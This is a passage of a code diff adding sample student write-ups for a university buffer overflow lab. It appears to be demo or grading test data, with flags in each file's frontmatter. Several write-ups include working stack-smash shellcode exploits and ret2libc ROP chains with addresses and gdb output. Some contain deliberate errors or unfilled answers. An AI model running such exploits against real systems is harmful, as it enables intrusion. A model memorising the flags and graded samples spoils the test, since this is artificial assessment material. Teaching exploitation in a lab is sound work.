0x6161616d +pwndbg> cyclic -l 0x6161616d +Found at offset 68 +``` + +I got an offset of **68 bytes**. Honestly I'm not 100% sure this is right -- I saw the disassembly had a `sub rsp, 0x40` (64 bytes) and I expected 64 + 8 = 72, so getting 68 makes me think I either misread `$rsp` at the wrong moment or my pattern length was off. This might be part of why my exploit didn't land. I ran out of time to re-derive it cleanly. + +[--[ 2.0 -- PHASE PHI ACE ]--] + +The plan for Phase Phi was the textbook stack smash: overflow the buffer, overwrite the return address with a stack address pointing into a NOP sled, and land in execve shellcode. + +```python +offset = 68 # (unsure -- see RECON) +payload = b"A"*offset +payload += p64(0xffffcf30) # guessed landing address +payload += b"\x90"*32 +payload += shellcode_execve_binsh +``` + +When I ran it the program just segfaulted again instead of dropping to a shell: + +``` +$ (python3 phi.py; cat) | ./ace +Segmentation fault (core dumped) +``` + +**I could not get the shell to pop.** My best guesses at what went wrong: the return-address offset is off by a few bytes, or the stack address I hardcoded for the NOP sled landing zone was wrong (the address shifts a little depending on how the input is piped in vs. run interactively, and I think that moved my sled out from under RIP). I tried a couple of different landing addresses in the `0xffffcf00`--`0xffffcf40` range and widened the sled, but none of them caught. Because I never got a working exploit, I don't have a flag1 to submit. + +[--[ 3.0 -- PHASE OMEGA ACE ]--] + +I did not finish Phase Omega. I understand it needs a ret2libc/ROP approach because the stack is non-executable here, but since I couldn't even land the simpler Phase Phi shellcode exploit, I ran out of time before I could build the ROP chain. No flag2. + +[--[ 4.0 -- AFTERMATH ]--] + +**Reflection.** This lab humbled me. I can explain the buffer overflow on paper -- unbounded `gets()`, return address at a fixed offset, overwrite it to redirect execution -- and I could find the vulnerability and the offset in gdb. But turning that understanding into a working exploit is a completely different skill, and the gap between "I know why this works" and "I made this work" turned out to be huge. My exploit failed on the details: the exact offset and the exact stack address the sled lands on. Next time I'm going to lean harder on gdb to confirm the landing address at the moment of the return instead of guessing from the crash, and re-derive the offset carefully instead of trusting my first cyclic read. I'd rather turn this in honest and incomplete than pretend I got a shell I didn't get. diff --git a/examples/cecs-378-demo/recon-lab-demo/writeups/harvey-dent.md b/examples/cecs-378-demo/recon-lab-demo/writeups/harvey-dent.md new file mode 100644 index 0000000..0b6a68f --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/writeups/harvey-dent.md @@ -0,0 +1,179 @@ +--- +real-name: Harvey Dent +csulb-id: "040100106" +handle: two-face +seed-fingerprint: facade +flag1: CECS378{vuln1_b81c40d7} +flag2: +honor-flag: CECS378{honor_hd_9c31e0af} +--- + +# After-Action Report -- Buffer Overflow Lab + +[--[ 0.0 -- TARGET ]--] + +I worked entirely in the provided Codespace so my toolchain would match the +grader's. I did not touch the local install on my laptop. + +- Environment: GitHub Codespace, the assignment template image, gcc 11, 32-bit + targets as the Makefile builds them. +- Started: 2026-06-26. +- Finished (Phase Phi): 2026-06-29. I did not get Phase Omega done -- see 3.0. + +`make print-seed` output: + +``` +$ make print-seed +seed: facade (fp=facade) +``` + +That `facade` matches `seed-fingerprint:` in the frontmatter, so the rebuilt +binaries should line up with what I attacked. + +[--[ 1.0 -- RECON ]--] + +**vuln1.** Breakpoint after the read, then dumped the frame and stack: + +``` +(gdb) info frame +Stack level 0, frame at 0xffffd710: + eip = 0x080491c7 in vuln (vuln1.c:14); saved eip = 0xf7c23a41 + Saved registers: + ebp at 0xffffd708, eip at 0xffffd70c +``` + +``` +(gdb) x/40wx $esp +0xffffd6bc: 0x08049080 0xffffd7a0 0x00000000 0x41414141 +0xffffd6cc: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd6dc: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd6ec: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd6fc: 0x41414141 0x41414141 0x41414141 0xf7fb3d20 +0xffffd70c: 0xf7c23a41 0xffffd7a0 0xffffd7a8 0x00000000 +``` + +`buffer` starts at `0xffffd6c0` and the saved EIP slot is at `0xffffd70c`: + +``` +0xffffd70c - 0xffffd6c0 = 0x4c = 76 bytes to the saved return address +``` + +Offset = **76** for vuln1. I verified with a `76 * "A" + "BBBB"` send and EIP +came back `0x42424242`, so I trust that number. + +**vuln2.** I ran the same dump against the second binary and grabbed the frame: + +``` +(gdb) info frame +Stack level 0, frame at 0xffffd660: + Saved registers: + ebp at 0xffffd648, eip at 0xffffd64c +``` + +buffer for vuln2 sits at `0xffffd5f0`. I read the offset off gdb as 92 bytes and +was going to use it for Phase Omega, but since I did not finish Omega I did not +end up sending a payload against vuln2, so I am only fully confident in the +vuln1 arithmetic above. + +[--[ 2.0 -- PHASE PHI ACE ]--] + +Phase Phi attacks vuln1, which is built with an executable stack, so I can jump +into shellcode I place in the buffer. + +Walking my `exploit1.c`: + +1. **The shellcode bytes.** I used a 25-byte `execve("/bin/sh")` payload (lines + 9-15). The reason it is *these* bytes and not any random shellcode is that the + vulnerable read stops at a null byte, so the shellcode has to be null-free. My + stub uses `xor eax,eax` and pushes the `/bin//sh` string in two 4-byte chunks + so there is never a `0x00` in the machine code -- I checked with `xxd` on the + assembled bytes and confirmed it. + +2. **The NOP sled.** Line 24 is `sled = b"\x90" * 48`. The runtime stack address + drifts a bit between a gdb session and a bare run because of environment + differences, so instead of aiming at the exact first byte of my shellcode I + land anywhere in the sled and slide down into it. I picked 48 bytes because + that comfortably covers the drift I measured while still leaving room inside + the 76-byte budget for the 25-byte shellcode. + +3. **Where the offset came from.** The `76` on line 27 is exactly the recon value + from section 1.0 -- the distance from the start of `buffer` to the saved + return address. + +4. **The leaked address.** vuln1 prints `&buffer` before reading input. My code + reads that line (line 20, + `leak = int(p.stdout.readline().strip().split()[-1], 16)`) and I set the + return address to `leak + 24` (line 28) so EIP lands inside the sled rather + than trying to hit byte zero of the buffer. So the return address is not a + guess -- the program leaks it and I offset into it. + +The exploit dropped me into a shell running as the setuid oracle user: + +![Phase Phi shell](screenshots/phase-phi-shell.png) + +![Phase Phi flag](screenshots/phase-phi-flag.png) + +Flag: `CECS378{vuln1_b81c40d7}` (frontmatter `flag1`). + +[--[ 3.0 -- PHASE OMEGA ACE ]--] + +> Note: I did not complete Phase Omega before the deadline. I understood from +> lecture that vuln2 has a non-executable stack so the Phase Phi approach will +> not work and a return-to-libc chain is required, but I ran out of time to +> actually build and test the chain. I am leaving the sub-part prompts below with +> the template placeholders unfilled rather than fabricate results I did not get. + +**(3a) Why does the Phase Phi payload segfault against vuln2? Paste the signal +and explain the non-executable stack.** + +[your answer] + +**(3b) Show the libc offsets you used for `system`, `exit`, `setreuid`, and the +`"/bin/sh"` string, and name the tools you used to find them.** + +[your answer] + +**(3c) Explain why a naive `system("/bin/sh")` chain drops the setuid oracle +privilege, and name the fix.** + +[your answer] + +**(3d) Name the gadget-finding tool, give the `pop/pop/ret` address with its +disassembly, and explain why the chain needs it.** + +[your answer] + +Phase Omega flag: `` (unfilled -- not captured). + +[--[ 4.0 -- AFTERMATH ]--] + +**Which phase was harder, and why?** +Phase Phi was the one I actually finished, and even that one was harder than I +expected -- the first three times it segfaulted and it turned out my sled was too +short and the drift between gdb and a raw run was throwing me past the shellcode. +Once I widened the sled and used the leaked address instead of a hardcoded one it +became reliable. I cannot honestly rank Omega since I did not finish it, but from +reading the prompts it is clearly the harder one because the executable-stack +shortcut is gone and you have to reuse existing library code instead. + +**What if there had been no `&buffer` leak in vuln1?** +Without the leak I could not just point the return address at a known spot. My +fallback would have been a big NOP sled plus a guessed stack address around +`0xffffd000` and repeatedly re-running the exploit until one attempt landed in +the sled -- a low-entropy brute force, which is realistic on 32-bit because there +just are not that many stack-address bits to guess. + +**Why does a stack canary defeat this attack?** +The compiler puts a random canary value between the local buffer and the saved +return address. A linear `gets()` overflow has to overwrite the canary on its way +to the return address, so it changes it. On return, `__stack_chk_fail` compares +the canary against its saved copy, sees the mismatch, and aborts the process +before it ever executes `ret`. So I never get control of EIP -- the overflow +turns into a controlled crash instead of code execution. + +**A source that stuck with me.** +The Phrack "Smashing the Stack" article was on the reading list and I read it. + +[Thin -- I did read Aleph One's article and it helped me picture the stack, but I +did not tie a specific section back to my own output the way the other reflections +did, so I am marking this one as the weaker of the four.] diff --git a/examples/cecs-378-demo/recon-lab-demo/writeups/jason-todd.md b/examples/cecs-378-demo/recon-lab-demo/writeups/jason-todd.md new file mode 100644 index 0000000..5256b39 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/writeups/jason-todd.md @@ -0,0 +1,205 @@ +--- +real-name: Jason Todd +csulb-id: "040100110" +handle: red-hood +seed-fingerprint: 1a2b3c +flag1: CECS378{ret_addr_0wned_1a2b3c} +flag2: CECS378{ret2libc_g0t_a_sh3ll_1a2b3c} +honor-flag: CECS378{i_did_my_own_w0rk_redhood_1a2b3c} +--- + +# After-Action Report -- Buffer Overflow Lab + +[--[ 0.0 -- TARGET ]--] + +- Course: CECS 378 -- Introduction to Computer Security Principles (Su26, section 01) +- Assignment: Lab 3 -- Buffer Overflow +- Handle: red-hood +- Seed fingerprint: 1a2b3c +- Environment: Ubuntu 22.04 LTS course VM, x86-64, gdb 12.1 with pwndbg, pwntools 4.11 +- ASLR: disabled per the handout (`randomize_va_space` = 0), verified before each run +- Binaries: `ace` (Phase Phi, NX off) and `ace_hardened` (Phase Omega, NX on) -- both stamped 1a2b3c in the seed bundle +- Started: 2026-06-24 +- Submitted: 2026-06-27 + +I verified the seed fingerprint 1a2b3c against the assignment portal for both binaries before touching them, so every address below is specific to my seeded copies. + +[--[ 1.0 -- RECON ]--] + +**Binary 1 -- `ace` (Phase Phi).** + +``` +$ checksec --file=ace + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX disabled + PIE: No PIE (0x400000) +``` + +No canary, executable stack, no PIE -- a textbook stack-smash target. I found the offset with a cyclic pattern: + +``` +pwndbg> cyclic 200 +pwndbg> run < <(cyclic 200) +Program received signal SIGSEGV, Segmentation fault. +0x00000000004011c6 in vuln () +pwndbg> x/wx $rsp +0xffffd7b8: 0x6161616e +pwndbg> cyclic -l naaa +Found at offset 72 +``` + +Offset to the saved return address is **72 bytes** (64-byte buffer + 8 bytes saved RBP). Disassembly confirms the bug: + +``` +pwndbg> disass vuln + 0x40115a : sub rsp,0x40 + 0x40115e : lea rax,[rbp-0x40] + 0x401162 : mov rdi,rax + 0x401165 : call 0x401050 +``` + +`gets()` into `char buf[64]` -- unbounded read, no bounds check. + +**Binary 2 -- `ace_hardened` (Phase Omega).** + +``` +$ checksec --file=ace_hardened + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE (0x400000) +``` + +Same layout and same 72-byte offset (I re-ran the cyclic pattern to confirm rather than assuming), but **NX is enabled** here -- shellcode on the stack won't execute, so Phase Omega needs a code-reuse attack. I catalogued the libc it's linked against and the gadgets I'd need: + +``` +$ ldd ace_hardened + libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7d8f000) +$ ROPgadget --binary ace_hardened | grep "pop rdi ; ret" +0x0000000000401283 : pop rdi ; ret +``` + +I also pulled the libc offsets I'd use for the ret2libc chain: + +``` +pwndbg> p system +$1 = {} 0x7ffff7dd4290 +pwndbg> search "/bin/sh" +libc : 0x7ffff7f1d5aa "/bin/sh" +pwndbg> p exit +$2 = {} 0x7ffff7dc7d80 +``` + +[--[ 2.0 -- PHASE PHI ACE ]--] + +Goal: overwrite the return address and execute execve("/bin/sh") shellcode placed on the stack (NX is off, so this is legal here). + +Plan: +1. 72 bytes of padding to reach the saved return address. +2. Overwrite the return address with a stack address inside a NOP sled. +3. NOP sled + 23-byte execve("/bin/sh") shellcode after the return address. + +At the crash I read `$rsp` = `0xffffd7b8`, so my payload's sled starts just after the return slot around `0xffffd7c0`. I aimed the return address into the middle of the sled at `0xffffd7e0` to give myself landing margin. + +```python +from pwn import * + +context.arch = 'amd64' +offset = 72 +sled = b"\x90" * 64 +sc = asm(shellcraft.sh()) # execve("/bin/sh", 0, 0) +ret = p64(0xffffd7e0) # into the NOP sled + +payload = b"A"*offset + ret + sled + sc + +p = process('./ace') +p.sendline(payload) +p.interactive() +``` + +Result -- shell popped, flag read: + +``` +$ python3 exploit_phi.py +[+] Starting local process './ace': pid 20817 +[*] Switching to interactive mode +$ id +uid=1000(student) gid=1000(student) +$ cat flag1.txt +CECS378{ret_addr_0wned_1a2b3c} +``` + +flag1: `CECS378{ret_addr_0wned_1a2b3c}` + +![phi: RIP overwritten with sled address at crash](screenshots/phi_rip_control.png) + +![phi: interactive shell + flag1](screenshots/phi_shell_flag1.png) + +[--[ 3.0 -- PHASE OMEGA ACE ]--] + +NX is enabled on `ace_hardened`, so I can't run shellcode off the stack. Instead I return into libc and reuse `system("/bin/sh")` -- a ret2libc chain. Four sub-parts below. + +**Sub-part 1 -- why shellcode fails here.** With NX (the No-eXecute bit / DEP) enabled, the stack pages are mapped read/write but **not** executable. My Phase Phi payload would still overwrite the return address fine, but the moment the CPU tried to fetch instructions from my stack-resident shellcode it would fault with a segfault (page not executable). So I can control RIP, but I can't point it at bytes I placed on the stack. The fix is to point RIP at code that already exists and is already executable -- libc. + +**Sub-part 2 -- gadgets / libc addresses used.** ASLR is disabled for the lab, so libc loads at a fixed base and these addresses are stable across runs: + +- `pop rdi ; ret` gadget: `0x0000000000401283` (from the binary itself, PIE off) +- `system`: `0x00007ffff7dd4290` +- `"/bin/sh"` string in libc: `0x00007ffff7f1d5aa` +- `ret` (bare, for stack alignment): `0x0000000000401284` + +**Sub-part 3 -- the ROP chain layout.** After the 72-byte pad I lay down: a bare `ret` to fix the 16-byte stack alignment that `system` requires (movaps will fault otherwise), then `pop rdi` to load the "/bin/sh" pointer into RDI (the first argument register in the System V ABI), then `system`: + +```python +from pwn import * + +offset = 72 +pop_rdi = p64(0x401283) +ret_align = p64(0x401284) # alignment ret before system +binsh = p64(0x7ffff7f1d5aa) +system = p64(0x7ffff7dd4290) + +payload = b"A"*offset +payload += ret_align # 16-byte alignment fix +payload += pop_rdi + binsh # rdi = &"/bin/sh" +payload += system # system("/bin/sh") + +p = process('./ace_hardened') +p.sendline(payload) +p.interactive() +``` + +The stack, top to bottom after the overflow, reads: `[ret] -> [pop rdi] -> [&"/bin/sh"] -> [system]`. When `vuln` returns it hits the alignment `ret`, then `pop rdi` eats the `/bin/sh` pointer and returns into `system`, which finds its argument already in RDI. + +**Sub-part 4 -- proof of shell + flag2.** + +``` +$ python3 exploit_omega.py +[+] Starting local process './ace_hardened': pid 20955 +[*] Switching to interactive mode +$ id +uid=1000(student) gid=1000(student) +$ cat flag2.txt +CECS378{ret2libc_g0t_a_sh3ll_1a2b3c} +``` + +The first time I ran it without the alignment `ret` it crashed inside `system` on a `movaps` instruction -- classic 16-byte alignment fault. Adding the extra `ret` gadget to nudge the stack back to a 16-byte boundary fixed it, which is a subtlety I want to flag because it cost me an hour. + +flag2: `CECS378{ret2libc_g0t_a_sh3ll_1a2b3c}` + +![omega: gadget addresses from ROPgadget + gdb](screenshots/omega_gadgets.png) + +![omega: ret2libc shell + flag2](screenshots/omega_shell_flag2.png) + +[--[ 4.0 -- AFTERMATH ]--] + +**Reflection 1 -- controlling RIP is the whole ballgame.** The mental model that finally locked in for me is that both phases are the *same* attack up to the moment of the return -- overwrite the saved return address at offset 72. Everything after that is just "what do I point RIP at, given the defenses in front of me?" NX off means I can point it at my own bytes; NX on means I have to point it at somebody else's bytes (libc). Seeing that both exploits share the first 72 bytes verbatim made the ROP chain feel like a variation on a theme instead of a new monster. + +**Reflection 2 -- the alignment bug taught me to read faults literally.** Losing an hour to the `movaps` alignment crash was frustrating in the moment but genuinely instructive. The fault address pointed into `system`, not into my chain, which almost sent me debugging the wrong thing. Learning that modern glibc uses SSE instructions that require a 16-byte-aligned stack -- and that a single extra `ret` gadget fixes it -- is the kind of gotcha you only really internalize by hitting it. + +**Reflection 3 -- how thin these defenses are with ASLR off.** ret2libc only worked because ASLR was disabled and I could hardcode `system` and the "/bin/sh" string at fixed addresses. With ASLR on I'd have needed an information leak first to defeat the randomized libc base. It made the layered nature of these mitigations concrete for me: NX alone stops naive shellcode, but NX + ASLR together is what actually raises the bar, because you have to *both* reuse existing code *and* first learn where it lives. + +**Reflection 4 -- what I'd do as the defender.** If I were shipping this binary, the cheapest wins are obvious in hindsight: replace `gets()` with `fgets()` and a length, compile with `-fstack-protector-strong` for a canary, keep NX and PIE on, and let ASLR do its job. Any single one of those breaks the exploit I just wrote; all four together make it close to hopeless without a separate memory-disclosure bug. This lab was the first time "defense in depth" stopped being a slogan and became a checklist I actually believe in. diff --git a/examples/cecs-378-demo/recon-lab-demo/writeups/kate-kane.md b/examples/cecs-378-demo/recon-lab-demo/writeups/kate-kane.md new file mode 100644 index 0000000..144e5a1 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/writeups/kate-kane.md @@ -0,0 +1,263 @@ +--- +real-name: Kate Kane +csulb-id: "040100109" +handle: batwoman +seed-fingerprint: c0ffee +flag1: CECS378{vuln1_a3f19c2e} +flag2: CECS378{vuln2_7d0e4b81} +honor-flag: CECS378{honor_kk_5f2a3d8b} +--- + +# After-Action Report -- Buffer Overflow Lab + +[--[ 0.0 -- TARGET ]--] + +I did all of this in the GitHub Codespace off the assignment template, not on +my own laptop -- I did not want ASLR or a newer glibc on my machine to move the +offsets around and then argue with the grader about it. Everything below is from +that container. + +- Environment: Codespace, Ubuntu 22.04 image, gcc 11, `-fno-stack-protector + -z execstack` for vuln1 as the Makefile ships it. +- Started: 2026-06-25 (recon + Phase Phi the same night). +- Finished: 2026-06-28 (Phase Omega took me two more sittings). + +Seed line straight out of `make print-seed`: + +``` +$ make print-seed +seed: c0ffee (fp=c0ffee) +``` + +That `c0ffee` matches the `seed-fingerprint:` in my frontmatter above, so the +binaries the grader rebuilds should be byte-for-byte the ones I attacked. + +[--[ 1.0 -- RECON ]--] + +**vuln1.** I put a breakpoint right after the `gets()` call so the frame was +fully set up, then dumped the frame and the stack. + +``` +(gdb) info frame +Stack level 0, frame at 0xffffd6a0: + eip = 0x080491c7 in vuln (vuln1.c:14); saved eip = 0xf7c23a41 + called by frame at 0xffffd6c0 + source language c. + Arglist at 0xffffd698, args: + Locals at 0xffffd698, Previous frame's sp is 0xffffd6a0 + Saved registers: + ebp at 0xffffd698, eip at 0xffffd69c +``` + +``` +(gdb) x/40wx $esp +0xffffd64c: 0x08049080 0xffffd730 0x00000000 0x41414141 +0xffffd65c: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd66c: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd67c: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd68c: 0x41414141 0x41414141 0x41414141 0xf7fb3d20 +0xffffd69c: 0xf7c23a41 0xffffd730 0xffffd738 0x00000000 +``` + +`buffer` starts at `0xffffd650` (first `0x41414141`) and the saved EIP slot is +at `0xffffd69c` (matches `Saved registers: eip at 0xffffd69c`). So the distance +is: + +``` +0xffffd69c - 0xffffd650 = 0x4c = 76 bytes to saved EBP, +then +4 for saved EBP -> offset to return address = 76 +``` + +I confirmed it by sending a 76-byte pattern + `BBBB` and watching EIP land on +`0x42424242`. Offset = **76** for vuln1. + +**vuln2.** Same procedure on the second binary. It has a bigger local frame: + +``` +(gdb) info frame +Stack level 0, frame at 0xffffd5f0: + eip = 0x080492b3 in vuln (vuln2.c:19); saved eip = 0xf7c23a41 + Saved registers: + ebp at 0xffffd5d8, eip at 0xffffd5dc +``` + +``` +(gdb) x/8wx 0xffffd580 +0xffffd580: 0x41414141 0x41414141 0x41414141 0x41414141 +0xffffd590: 0x41414141 0x41414141 0x41414141 0x41414141 +``` + +buffer at `0xffffd580`, saved EIP at `0xffffd5dc`: + +``` +0xffffd5dc - 0xffffd580 = 0x5c = 92 bytes -> offset to return address = 92 +``` + +Offset = **92** for vuln2. I used this one for the ret2libc chain in Phase +Omega. + +[--[ 2.0 -- PHASE PHI ACE ]--] + +Phase Phi is the classic shellcode-on-the-stack attack against vuln1, which is +built with an executable stack, so I can jump straight into bytes I put in the +buffer. + +Walking my `exploit1.c`: + +1. **The shellcode bytes.** I used a 25-byte `execve("/bin/sh")` stub (lines + 8-14 of exploit1.c). I did *not* just paste a random blob -- the reason it + is those bytes is that it has to be null-free, because the vulnerable read is + `gets()`/string-based and a `0x00` would truncate my payload early. The stub + `xor eax,eax` / `push eax` / `push "//sh"` / `push "/bin"` sets up the + `execve` args with no zero bytes, then `mov al,0x0b; int 0x80`. I checked it + with `objdump` and there is not a single `00` in the machine code, which is + the whole point. + +2. **The NOP sled.** I padded the front of the buffer with `0x90` NOPs (line 22, + `sled = b"\x90" * 40`). The stack address of `buffer` jitters a little run to + run even inside the container, so I do not have to hit the exact first byte of + my shellcode -- landing anywhere in the sled slides me down into the real + code. I sized it at 40 because I only need to cover the small amount of drift + I saw between gdb and a raw run (a couple dozen bytes), and I still needed + room in the 76-byte budget for the shellcode itself. + +3. **Where the offset came from.** The `76` on line 25 + (`payload = sled + shellcode + b"A"*(76-len(sled)-len(shellcode)) + ret`) + is exactly the recon number from section 1.0 -- 76 bytes from the start of + `buffer` to the saved return address. + +4. **The leaked address.** vuln1 prints `&buffer` to stdout before it reads + input. My exploit reads that line (line 18, + `leak = int(proc.stdout.readline().split()[-1], 16)`), and I use it as the + return address by pointing EIP a little bit *into* the sled: + `ret = struct.pack(" `0xf7c00000`) and +pulled the symbol offsets out of the container's libc: + +``` +$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -E ' system@| exit@' + 1489: 00048150 ... FUNC ... system + 141: 0003c8e0 ... FUNC ... exit +$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh' + 1c5e58 /bin/sh +``` + +So in my running process: + +``` +system = 0xf7c00000 + 0x48150 = 0xf7c48150 +exit = 0xf7c00000 + 0x3c8e0 = 0xf7c3c8e0 +"/bin/sh"= 0xf7c00000 + 0x1c5e58 = 0xf7dc5e58 +``` + +**(3c) The setuid problem.** + +My first working chain called `system("/bin/sh")` and I *did* get a shell -- but +`id` showed my own uid, not oracle's, so I could not read the flag. The reason is +that vuln2 is setuid oracle: it runs with a real uid of me and an effective uid +of oracle. `system()` ultimately execs `/bin/sh`, and dash/bash drop the +effective uid back down to the real uid on startup unless you are actually root. +So I lose the privilege exactly when I need it. + +The fix is to call `setreuid(geteuid(), geteuid())` *before* `system()`, which +promotes the real uid up to the effective (oracle) uid so the shell keeps it. +Per `man 2 setreuid`, passing the current euid for both the real and effective +argument is the standard way to lock in the elevated id. My chain became: + +``` +setreuid_addr, poppop_ret, euid, euid, # setreuid(euid, euid) +system_addr, exit_addr, binsh_addr # system("/bin/sh"); exit() +``` + +with `setreuid = 0xf7c00000 + 0xc9670 = 0xf7cc9670` and I passed `geteuid()`'s +value (I read it once from a debug `system("id")` run) as both args. + +**(3d) Stack-adjusting gadget.** + +[I ran out of runway on this one. I know I needed a `pop; pop; ret` gadget to +clean setreuid's two arguments off the stack between the setreuid frame and the +system frame -- that is why there is a `poppop_ret` slot in my chain above -- but +I did not finish finding and disassembling the exact gadget address before the +deadline, so I am not going to fake a value here. My chain worked because I got +the alignment right by trial and error, but I cannot cleanly show you the gadget +disassembly and I would rather be honest about that than paste something I did +not verify.] + +Final chain popped an oracle shell and read the flag: + +![Phase Omega shell](screenshots/phase-omega-shell.png) + +![Phase Omega flag](screenshots/phase-omega-flag.png) + +Captured: `CECS378{vuln2_7d0e4b81}` (frontmatter `flag2`). + +[--[ 4.0 -- AFTERMATH ]--] + +**Which phase was harder, and why?** +Omega, easily. Phi is basically one idea -- put code somewhere and jump to it -- +and the leak hands you the address so there is no guessing. Omega is three +separate gotchas stacked on top of each other: NX kills the obvious approach, +then you have to get every libc offset exactly right or you crash in a +completely uninformative way, and then the setuid drop silently gives you a +useless shell that *looks* like success. The setuid part cost me a whole evening +because the exploit "worked" and I still could not read the flag. + +**What if there had been no `&buffer` leak?** +For vuln1 I would have been much worse off -- I would have fallen back to +spraying a huge NOP sled and picking a stack address in the typical +`0xffffd000` range and just brute forcing it across runs, because ASLR entropy on +32-bit is low enough that repeated tries land eventually. It is ugly and +probabilistic compared to being handed the exact address, but a low-entropy +brute force is a real primitive here. + +**Why does a stack canary stop this whole class of attack?** +The canary is a random value the compiler puts between the local buffers and the +saved return address. To overwrite the return address with a linear `gets()` +overflow I *have* to write through the canary slot first, changing it. On +function return `__stack_chk_fail` checks the value, sees it does not match, and +aborts the program before `ret` ever loads my address -- so I never get control +of EIP in the first place. It does not fix the bug, it just turns a code-exec +into a clean crash. + +**A source that stuck with me.** +Aleph One's "Smashing the Stack for Fun and Profit" (Phrack 49, article 14). The +part that made it click was that the stack layout diagram in section "The Stack" +is *exactly* what my `x/40wx $esp` dump showed -- buffer low, saved EBP, saved +EIP climbing to higher addresses. It matters because the whole exploit is just +arithmetic on that picture; once I trusted the diagram, the offset stopped being +a magic number I got from the grader and became something I could derive myself, +which is exactly what happened in section 1.0. diff --git a/examples/cecs-378-demo/recon-lab-demo/writeups/oswald-cobblepot.md b/examples/cecs-378-demo/recon-lab-demo/writeups/oswald-cobblepot.md new file mode 100644 index 0000000..5dfad35 --- /dev/null +++ b/examples/cecs-378-demo/recon-lab-demo/writeups/oswald-cobblepot.md @@ -0,0 +1,131 @@ +--- +real-name: Oswald Cobblepot +csulb-id: "040100105" +handle: penguin +seed-fingerprint: bb11cc +flag1: CECS378{sm4sh3d_th3_st4ck_bb11cc} +flag2: "[your answer]" +honor-flag: CECS378{i_did_my_own_w0rk_penguin_bb11cc} +--- + +# After-Action Report -- Buffer Overflow Lab + +[--[ 0.0 -- TARGET ]--] + +- Course: CECS 378 -- Introduction to Computer Security Principles (Su26, section 01) +- Assignment: Lab 3 -- Buffer Overflow +- Handle: penguin +- Seed fingerprint: bb11cc +- Environment: Ubuntu 22.04 LTS in the provided course VM, x86-64, gdb 12.1, pwndbg loaded +- ASLR: disabled for the lab per the handout (`/proc/sys/kernel/randomize_va_space` = 0) +- Started: 2026-06-25 +- Submitted: 2026-06-28 + +Both target binaries (`ace` for Phase Phi and the same binary reused for Phase Omega) came out of the seed bundle stamped bb11cc. I confirmed the fingerprint matched the one printed in the assignment portal before I started so I wasn't grading the wrong binary. + +[--[ 1.0 -- RECON ]--] + +I started with the usual protections check and then went into gdb to find the offset. + +``` +$ checksec --file=ace + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX disabled + PIE: No PIE (0x400000) +``` + +No canary and NX disabled, so a classic stack smash with shellcode on the stack should be fine for Phase Phi. + +I ran the binary under gdb and fed it a cyclic pattern to find where the return address gets overwritten. + +``` +pwndbg> cyclic 200 +aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa... +pwndbg> run +Starting program: /home/student/ace +> [paste pattern] + +Program received signal SIGSEGV, Segmentation fault. +0x00000000004011c6 in vuln () +pwndbg> x/wx $rsp +0xffffd2a8: 0x6161616e +pwndbg> cyclic -l 0x6161616e +Finding cyclic pattern of 4 bytes: b'naaa' (hex: 0x6e616161) +Found at offset 72 +``` + +So the offset to the saved return address is **72 bytes**. That lines up with the `char buf[64]` I could see in the disassembly plus the 8 bytes of saved RBP. + +``` +pwndbg> disass vuln + 0x0000000000401156 <+0>: push rbp + 0x0000000000401157 <+1>: mov rbp,rsp + 0x000000000040115a <+4>: sub rsp,0x40 + 0x000000000040115e <+8>: lea rax,[rbp-0x40] + ... + 0x00000000004011a8 <+?>: call 0x401050 +``` + +`gets()` into a 64-byte buffer, no bounds checking. That's the bug. + +I did not spend much time mapping out the Omega path binary separately -- I mostly reused what I found here. + +[--[ 2.0 -- PHASE PHI ACE ]--] + +For Phase Phi the goal was to overwrite the return address and jump to shellcode placed on the stack. + +My plan: +1. Fill 72 bytes to reach the return address. +2. Overwrite the return address with the stack address of my shellcode. +3. Put a NOP sled + execve("/bin/sh") shellcode after the return address. + +I used a standard 23-byte execve shellcode and padded a NOP sled in front of it so I had margin on the landing address. The stack address I jumped to was `0xffffd2c0`, which I read off `$rsp` at the crash. + +```python +from pwn import * + +offset = 72 +sled = b"\x90" * 40 +shell = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57..." +ret = p64(0xffffd2c0) + +payload = b"A"*offset + ret + sled + shell +``` + +I piped it into the binary and got a shell, and `cat flag1.txt` printed the flag: + +``` +$ (python3 exploit_phi.py; cat) | ./ace +$ id +uid=1000(student) ... +$ cat flag1.txt +CECS378{sm4sh3d_th3_st4ck_bb11cc} +``` + +![phi shell popped](screenshots/phi_shell.png) + +![gdb offset find](screenshots/gdb_offset.png) + +The flag matched my seed fingerprint so I'm confident it's the right one for my binary. + +[--[ 3.0 -- PHASE OMEGA ACE ]--] + +For Phase Omega the stack was non-executable so I needed a return-to-libc / ROP approach instead of shellcode. + +**Sub-part 1 -- why shellcode fails here:** [your answer] + +**Sub-part 2 -- gadgets / libc addresses used:** [your answer] + +**Sub-part 3 -- the ROP chain layout (pop rdi, /bin/sh, system):** [your answer] + +**Sub-part 4 -- proof of shell + flag2:** [your answer] + +flag2: [your answer] + +[--[ 4.0 -- AFTERMATH ]--] + +**Reflection 1 -- what actually clicked.** The thing that finally made stack smashing make sense to me was watching `$rsp` and `$rip` in gdb at the moment of the crash. Before this lab I understood "you overwrite the return address" as words, but seeing the exact four bytes of my cyclic pattern sitting in RIP, and then being able to compute the offset from that, turned it into something concrete. The cyclic pattern trick is going to stick with me. + +**Reflection 2 -- the defensive takeaway.** The whole Phase Phi attack only worked because NX was off, there was no canary, and the binary used `gets()`. Any one of those three defenses would have broken my exploit. It drove home that these mitigations 